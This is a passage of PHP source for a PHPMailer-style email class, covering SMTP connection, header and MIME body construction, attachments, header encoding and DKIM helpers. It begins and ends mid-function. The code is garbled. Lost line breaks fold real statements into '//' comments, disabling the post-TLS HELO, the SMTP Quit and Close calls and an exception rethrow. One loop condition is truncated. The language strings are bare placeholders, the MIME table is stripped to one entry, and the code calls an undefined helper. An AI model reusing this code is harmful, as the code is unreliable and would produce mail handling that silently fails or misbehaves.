$hello = $this->Helo;
}
else {
$hello = $this->ServerHostname();
}
$this->smtp->Hello($hello);
if ($tls) {
if (!$this->smtp->StartTLS()) {
throw new phpmailerException($this->Lang('connect_host'));
}
//We must resend HELO after tls negotiation $this->smtp->Hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->Authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
throw new phpmailerException($this->Lang('authenticate'));
}
}
return true;
}
catch (phpmailerException $e) {
$lastexception = $e;
//We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->Quit();
}
}
}
//If we get here, all connection attempts have failed, so close connection hard $this->smtp->Close();
//As we've caught all exceptions, just report whatever the last one was if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
public function SmtpClose() {
if ($this->smtp !== null) {
if($this->smtp->Connected()) {
$this->smtp->Quit();
$this->smtp->Close();
}
}
}
function SetLanguage($langcode = 'en', $lang_path = 'language/') {
$PHPMAILER_LANG = array( 'authenticate' => 'authenticate', 'connect_host' => 'connect_host', 'data_not_accepted' => 'data_not_accepted', 'empty_message' => 'empty_message', 'encoding' => 'encoding ', 'execute' => 'execute', 'file_access' => 'file_access', 'file_open' => 'file_open', 'from_failed' => 'from_failed', 'instantiate' => 'instantiate', 'invalid_address' => 'invalid_address', 'mailer_not_supported' => 'mailer_not_supported', 'provide_address' => 'provide_address', 'recipients_failed' => 'recipients_failed', 'signing' => 'signing', 'smtp_connect_failed' => 'smtp_connect_failed', 'smtp_error' => 'smtp_error', 'variable_set' => 'variable_set' );
$l = true;
if ($langcode != 'en') {
//There is no English translation file $l = @include $lang_path.'phpmailer.lang-'.$langcode.'.php';
}
$this->language = $PHPMAILER_LANG;
return ($l == true);
//Returns false if language not found }
public function GetTranslations() {
return $this->language;
}
public function AddrAppend($type, $addr) {
$addr_str = $type . ': ';
$addresses = array();
foreach ($addr as $a) {
$addresses[] = $this->AddrFormat($a);
}
$addr_str .= implode(', ', $addresses);
$addr_str .= $this->LE;
return $addr_str;
}
public function AddrFormat($addr) {
if (empty($addr[1])) {
return $this->SecureHeader($addr[0]);
}
else {
return $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
}
}
public function WrapText($message, $length, $qp_mode = false) {
$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
$is_utf8 = (strtolower($this->CharSet) == "utf-8");
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->FixEOL($message);
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
$line = explode($this->LE, $message);
$message = '';
for ($i = 0 ;$i < count($line);
$i++) {
$line_part = explode(' ', $line[$i]);
$buf = '';
for ($e = 0;
$e $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
}
elseif (substr($word, $len - 1, 1) == "=") {
$len--;
}
elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf("=%s", self::CRLF);
}
else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->UTF8CharBoundary($word, $len);
}
elseif (substr($word, $len - 1, 1) == "=") {
$len--;
}
elseif (substr($word, $len - 2, 1) == "=") {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf("=%s", self::CRLF);
}
else {
$buf = $part;
}
}
}
else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (' ' . $word);
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . self::CRLF;
}
return $message;
}
public function UTF8CharBoundary($encodedText, $maxLength) {
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, "=");
if ($encodedCharPos !== false) {
// Found start of encoded character byte within $lookBack block. // Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) {
// Single byte character. // If the encoded char was found at pos 0, it will fit // otherwise reduce maxLength to start of the encoded char $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
}
elseif ($dec >= 192) {
// First byte of a multi byte character // Reduce maxLength to split at start of character $maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
}
elseif ($dec < 192) {
// Middle byte of a multi byte character, look further back $lookBack += 3;
}
}
else {
$foundSplitPos = true;
}
}
return $maxLength;
}
public function SetWordWrap() {
if($this->WordWrap < 1) {
return;
}
switch($this->message_type) {
case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
break;
default: $this->Body = $this->WrapText($this->Body, $this->WordWrap);
break;
}
}
public function CreateHeader() {
$result = '';
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $uniq_id;
$this->boundary[2] = 'b2_' . $uniq_id;
$this->boundary[3] = 'b3_' . $uniq_id;
if ($this->MessageDate == '') {
$result .= $this->HeaderLine('Date', self::RFCDate());
}
else {
$result .= $this->HeaderLine('Date', $this->MessageDate);
}
if ($this->ReturnPath) {
$result .= $this->HeaderLine('Return-Path', '<'.trim($this->ReturnPath).'>');
}
elseif ($this->Sender == '') {
$result .= $this->HeaderLine('Return-Path', '<'.trim($this->From).'>');
}
else {
$result .= $this->HeaderLine('Return-Path', '<'.trim($this->Sender).'>');
}
if($this->Mailer != 'mail') {
if ($this->SingleTo === true) {
foreach($this->to as $t) {
$this->SingleToArray[] = $this->AddrFormat($t);
}
}
else {
if(count($this->to) > 0) {
$result .= $this->AddrAppend('To', $this->to);
}
elseif (count($this->cc) == 0) {
$result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
}
}
}
$from = array();
$from[0][0] = trim($this->From);
$from[0][1] = $this->FromName;
$result .= $this->AddrAppend('From', $from);
if(count($this->cc) > 0) {
$result .= $this->AddrAppend('Cc', $this->cc);
}
if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
$result .= $this->AddrAppend('Bcc', $this->bcc);
}
if(count($this->ReplyTo) > 0) {
$result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself if($this->Mailer != 'mail') {
$result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
}
if($this->MessageID != '') {
$result .= $this->HeaderLine('Message-ID', $this->MessageID);
}
else {
$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
}
$result .= $this->HeaderLine('X-Priority', $this->Priority);
if ($this->XMailer == '') {
$result .= $this->HeaderLine('X-Mailer', 'PHPMailer '.$this->Version.' (https://github.com/PHPMailer/PHPMailer/)');
}
else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->HeaderLine('X-Mailer', $myXmailer);
}
}
if($this->ConfirmReadingTo != '') {
$result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
}
// Add custom headers for($index = 0;
$index < count($this->CustomHeader);
$index++) {
$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
}
if (!$this->sign_key_file) {
$result .= $this->HeaderLine('MIME-Version', '1.0');
$result .= $this->GetMailMIME();
}
return $result;
}
public function GetMailMIME() {
$result = '';
switch($this->message_type) {
case 'inline': $result .= $this->HeaderLine('Content-Type', 'multipart/related;');
$result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"');
break;
case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
$result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"');
break;
case 'alt': case 'alt_inline': $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"');
break;
default: // Catches case 'plain': and case '': $result .= $this->TextLine('Content-Type: '.$this->ContentType.';
charset='.$this->CharSet);
break;
}
//RFC1341 part 5 says 7bit is assumed if not specified if ($this->Encoding != '7bit') {
$result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
}
if($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
public function GetSentMIMEMessage() {
return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
}
public function CreateBody() {
$body = '';
if ($this->sign_key_file) {
$body .= $this->GetMailMIME().$this->LE;
}
$this->SetWordWrap();
switch($this->message_type) {
case 'inline': $body .= $this->GetBoundary($this->boundary[1], '', '', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[1]);
break;
case 'attach': $body .= $this->GetBoundary($this->boundary[1], '', '', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach': $body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/related;');
$body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', '', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
case 'alt': $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
if(!empty($this->Ical)) {
$body .= $this->GetBoundary($this->boundary[1], '', 'text/calendar;
method=REQUEST', '');
$body .= $this->EncodeString($this->Ical, $this->Encoding);
$body .= $this->LE.$this->LE;
}
$body .= $this->EndBoundary($this->boundary[1]);
break;
case 'alt_inline': $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/related;');
$body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->EndBoundary($this->boundary[1]);
break;
case 'alt_attach': $body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->EndBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach': $body .= $this->TextLine('--' . $this->boundary[1]);
$body .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
$body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '');
$body .= $this->EncodeString($this->AltBody, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->TextLine('--' . $this->boundary[2]);
$body .= $this->HeaderLine('Content-Type', 'multipart/related;');
$body .= $this->TextLine("\tboundary=\"" . $this->boundary[3].'"');
$body .= $this->LE;
$body .= $this->GetBoundary($this->boundary[3], '', 'text/html', '');
$body .= $this->EncodeString($this->Body, $this->Encoding);
$body .= $this->LE.$this->LE;
$body .= $this->AttachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->EndBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->AttachAll('attachment', $this->boundary[1]);
break;
default: // catch case 'plain' and case '' $body .= $this->EncodeString($this->Body, $this->Encoding);
break;
}
if ($this->IsError()) {
$body = '';
}
elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->Lang('signing').' OpenSSL extension missing.');
}
$file = tempnam(sys_get_temp_dir(), 'mail');
file_put_contents($file, $body);
//TODO check this worked $signed = tempnam(sys_get_temp_dir(), 'signed');
if (@openssl_pkcs7_sign($file, $signed, 'file://'.realpath($this->sign_cert_file), array('file://'.realpath($this->sign_key_file), $this->sign_key_pass), null)) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
}
else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->Lang('signing').openssl_error_string());
}
}
catch (phpmailerException $e) {
$body = '';
if ($this->exceptions) {
throw $e;
}
}
}
return $body;
}
protected function GetBoundary($boundary, $charSet, $contentType, $encoding) {
$result = '';
if($charSet == '') {
$charSet = $this->CharSet;
}
if($contentType == '') {
$contentType = $this->ContentType;
}
if($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->TextLine('--' . $boundary);
$result .= sprintf("Content-Type: %s;
charset=%s", $contentType, $charSet);
$result .= $this->LE;
$result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
$result .= $this->LE;
return $result;
}
protected function EndBoundary($boundary) {
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
protected function SetMessageType() {
$this->message_type = array();
if($this->AlternativeExists()) $this->message_type[] = "alt";
if($this->InlineImageExists()) $this->message_type[] = "inline";
if($this->AttachmentExists()) $this->message_type[] = "attach";
$this->message_type = implode("_", $this->message_type);
if($this->message_type == "") $this->message_type = "plain";
}
public function HeaderLine($name, $value) {
return $name . ': ' . $value . $this->LE;
}
public function TextLine($value) {
return $value . $this->LE;
}
public function AddAttachment($path, $name = '', $encoding = 'base64', $type = '') {
try {
if ( !@is_file($path) ) {
throw new phpmailerException($this->Lang('file_access') . $path, self::STOP_CONTINUE);
}
//If a MIME type is not specified, try to work it out from the file name if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ( $name == '' ) {
$name = $filename;
}
$this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => 'attachment', 7 => 0 );
}
catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
if ($this->SMTPDebug) {
$this->edebug($e->getMessage()."\n");
}
return false;
}
return true;
}
public function GetAttachments() {
return $this->attachment;
}
protected function AttachAll($disposition_type, $boundary) {
$mime = array();
$cidUniq = array();
$incl = array();
foreach ($this->attachment as $attachment) {
if($attachment[6] == $disposition_type) {
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
}
else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) {
continue;
}
$incl[] = $inclhash;
$filename = $attachment[1];
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ( $disposition == 'inline' && isset($cidUniq[$cid]) ) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf("--%s%s", $boundary, $this->LE);
$mime[] = sprintf("Content-Type: %s;
name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE);
$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
if($disposition == 'inline') {
$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
}
if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $name)) {
$mime[] = sprintf("Content-Disposition: %s;
filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
}
else {
$mime[] = sprintf("Content-Disposition: %s;
filename=%s%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
}
if($bString) {
$mime[] = $this->EncodeString($string, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
}
else {
$mime[] = $this->EncodeFile($path, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
}
}
}
$mime[] = sprintf("--%s--%s", $boundary, $this->LE);
return implode("", $mime);
}
protected function EncodeFile($path, $encoding = 'base64') {
try {
if (!is_readable($path)) {
throw new phpmailerException($this->Lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = get_magic_quotes_runtime();
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(0);
}
else {
ini_set('magic_quotes_runtime', 0);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->EncodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
}
else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
}
catch (Exception $e) {
$this->SetError($e->getMessage());
return '';
}
}
public function EncodeString($str, $encoding = 'base64') {
$encoded = '';
switch(strtolower($encoding)) {
case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit': case '8bit': $encoded = $this->FixEOL($str);
//Make sure it ends with a line break if (substr($encoded, -(strlen($this->LE))) != $this->LE) $encoded .= $this->LE;
break;
case 'binary': $encoded = $str;
break;
case 'quoted-printable': $encoded = $this->EncodeQP($str);
break;
default: $this->SetError($this->Lang('encoding') . $encoding);
break;
}
return $encoded;
}
public function EncodeHeader($str, $position = 'text') {
$x = 0;
switch (strtolower($position)) {
case 'phrase': if (!preg_match('/[\200-\377]/', $str)) {
$encoded = addcslashes($str, "\0..\37\177\\\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
}
else {
return ("\"$encoded\"");
}
}
$x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
break;
case 'comment': $x = preg_match_all('/[()"]/', $str, $matches);
case 'text': default: $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
break;
}
if ($x == 0) {
//There are no chars that need encoding return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
if ($x > strlen($str)/3) {
//More than a third of the content will need encoding, so B encoding will be most efficient $encoding = 'B';
if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
$encoded = $this->Base64EncodeWrapMB($str, "\n");
}
else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "\n"));
}
}
else {
$encoding = 'Q';
$encoded = $this->EncodeQ($str, $position);
$encoded = $this->WrapText($encoded, $maxlen, true);
$encoded = str_replace('='.self::CRLF, "\n", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
$encoded = trim(str_replace("\n", $this->LE, $encoded));
return $encoded;
}
public function HasMultiBytes($str) {
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
}
else {
return false;
}
}
public function Base64EncodeWrapMB($str, $lf=null) {
$start = "=?".$this->CharSet."?B?";
$end = "?=";
$encoded = "";
if ($lf === null) {
$lf = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
$length = 75 - strlen($start) - strlen($end);
$ratio = $mb_length / strlen($str);
$offset = $avgLength = floor($length * $ratio * .75);
for ($i = 0;
$i < $mb_length;
$i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}
while (strlen($chunk) > $length);
$encoded .= $chunk . $lf;
}
$encoded = substr($encoded, 0, -strlen($lf));
return $encoded;
}
public function EncodeQP($string, $line_max = 76) {
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
$string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string));
$string = preg_replace('/[^\r\n]{'.($line_max - 3).'}[^=\r\n]{2}/', "$0=\r\n", $string);
return $string;
}
public function EncodeQPphp($string, $line_max = 76, $space_conv = false) {
return $this->EncodeQP($string, $line_max);
}
public function EncodeQ($str, $position = 'text') {
$pattern = '';
$encoded = str_replace(array("\r", "\n"), '', $str);
switch (strtolower($position)) {
case 'phrase': $pattern = '^A-Za-z0-9!*+\/ -';
break;
case 'comment': $pattern = '\(\)"';
case 'text': default: $pattern = '\075\000-\011\013\014\016-\037\077\137\177-\377' . $pattern;
break;
}
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
return str_replace(' ', '_', $encoded);
}
public function AddStringAttachment($string, $filename, $encoding = 'base64', $type = '') {
if ($type == '') {
$type = self::filenameToType($filename);
}
$this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => 'attachment', 7 => 0 );
}
public function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '') {
if ( !@is_file($path) ) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ( $name == '' ) {
$name = $filename;
}
// Append to $attachment array $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => 'inline', 7 => $cid );
return true;
}
public function AddStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '') {
if ($type == '') {
$type = self::filenameToType($name);
}
$this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => 'inline', 7 => $cid );
return true;
}
public function InlineImageExists() {
foreach($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
public function AttachmentExists() {
foreach($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
public function AlternativeExists() {
return !empty($this->AltBody);
}
public function ClearAddresses() {
foreach($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
}
public function ClearCCs() {
foreach($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
}
public function ClearBCCs() {
foreach($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
}
public function ClearReplyTos() {
$this->ReplyTo = array();
}
public function ClearAllRecipients() {
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
}
public function ClearAttachments() {
$this->attachment = array();
}
public function ClearCustomHeaders() {
$this->CustomHeader = array();
}
protected function SetError($msg) {
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
$msg .= '
' . $this->Lang('smtp_error') . $lasterror['smtp_msg'] . "

\n";
}
}
$this->ErrorInfo = $msg;
}
public static function RFCDate() {
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
protected function ServerHostname() {
if (!empty($this->Hostname)) {
$result = $this->Hostname;
}
elseif (isset($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
}
else {
$result = 'localhost.localdomain';
}
return $result;
}
protected function Lang($key) {
if(count($this->language) < 1) {
$this->SetLanguage('en');
// set the default language }
if(isset($this->language[$key])) {
return $this->language[$key];
}
else {
return 'Language string failed to load: ' . $key;
}
}
public function IsError() {
return ($this->error_count > 0);
}
public function FixEOL($str) {
$nstr = str_replace(array("\r\n", "\r"), "\n", $str);
if ($this->LE !== "\n") {
$nstr = str_replace("\n", $this->LE, $nstr);
}
return $nstr;
}
public function AddCustomHeader($name, $value=null) {
if ($value === null) {
$this->CustomHeader[] = explode(':', $name, 2);
}
else {
$this->CustomHeader[] = array($name, $value);
}
}
public function MsgHTML($message, $basedir = '', $advanced = false) {
preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images);
if (isset($images[2])) {
foreach ($images[2] as $i => $url) {
// do not change urls for absolute images (thanks to corvuscorax) if (!preg_match('#^[A-z]+://#', $url)) {
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url).'@phpmailer.0';
//RFC2392 S 2 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
$basedir .= '/';
}
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->AddEmbeddedImage($basedir.$directory.$filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
$message = preg_replace("/".$images[1][$i]."=[\"']".preg_quote($url, '/')."[\"']/Ui", $images[1][$i]."=\"cid:".$cid."\"", $message);
}
}
}
}
$this->IsHTML(true);
if (empty($this->AltBody)) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "\n\n";
}
$this->Body = $this->NormalizeBreaks($message);
$this->AltBody = $this->NormalizeBreaks($this->html2text($message, $advanced));
return $this->Body;
}
public function html2text($html, $advanced = false) {
if ($advanced) {
//require_once 'extras/class.html2text.php';
$h = new html2text($html);
return $h->get_text();
}
return html_entity_decode(trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet);
}
public static function _mime_types($ext = '') {
$mimes = array( 'zip' => 'application/zip', );
return (!isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
}
public static function filenameToType($filename) {
$qpos = strpos($filename, '?');
if ($qpos !== false) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
public static function mb_pathinfo($path, $options = null) {
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$m = array();
preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $m);
if(array_key_exists(1, $m)) {
$ret['dirname'] = $m[1];
}
if(array_key_exists(2, $m)) {
$ret['basename'] = $m[2];
}
if(array_key_exists(5, $m)) {
$ret['extension'] = $m[5];
}
if(array_key_exists(3, $m)) {
$ret['filename'] = $m[3];
}
switch($options) {
case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname'];
break;
case PATHINFO_BASENAME: case 'basename': return $ret['basename'];
break;
case PATHINFO_EXTENSION: case 'extension': return $ret['extension'];
break;
case PATHINFO_FILENAME: case 'filename': return $ret['filename'];
break;
default: return $ret;
}
}
public function set($name, $value = '') {
try {
if (isset($this->$name) ) {
$this->$name = $value;
}
else {
throw new phpmailerException($this->Lang('variable_set') . $name, self::STOP_CRITICAL);
}
}
catch (Exception $e) {
$this->SetError($e->getMessage());
if ($e->getCode() == self::STOP_CRITICAL) {
return false;
}
}
return true;
}
public function SecureHeader($str) {
return trim(str_replace(array("\r", "\n"), '', $str));
}
public static function NormalizeBreaks($text, $breaktype = "\r\n") {
return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
}
public function Sign($cert_filename, $key_filename, $key_pass) {
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
public function DKIM_QP($txt) {
$line = '';
for ($i = 0;
$i < strlen($txt);
$i++) {
$ord = ord($txt[$i]);
if ( ((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E)) ) {
$line .= $txt[$i];
}
else {
$line .= "=".sprintf("%02X", $ord);
}
}
return $line;
}
public function DKIM_Sign($s) {
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->Lang("signing").' OpenSSL extension missing.');
}
return '';
}
$privKeyStr = file_get_contents($this->DKIM_private);
if ($this->DKIM_passphrase != '') {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
}
else {
$privKey = $privKeyStr;
}
if (openssl_sign($s, $signature, $privKey)) {
return base64_encode($signature);
}
return '';
}
public function DKIM_HeaderC($s) {
$s = preg_replace("/\r\n\s+/", " ", $s);
$lines = explode("\r\n", $s);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(":", $line, 2);
$heading = strtolower($heading);
$value = preg_replace("/\s+/", " ", $value) ;
// Compress useless spaces $lines[$key] = $heading.":".trim($value) ;
// Don't forget to remove WSP around the value }
$s = implode("\r\n", $lines);
return $s;
}
public function DKIM_BodyC($body) {
if ($body == '') return "\r\n";
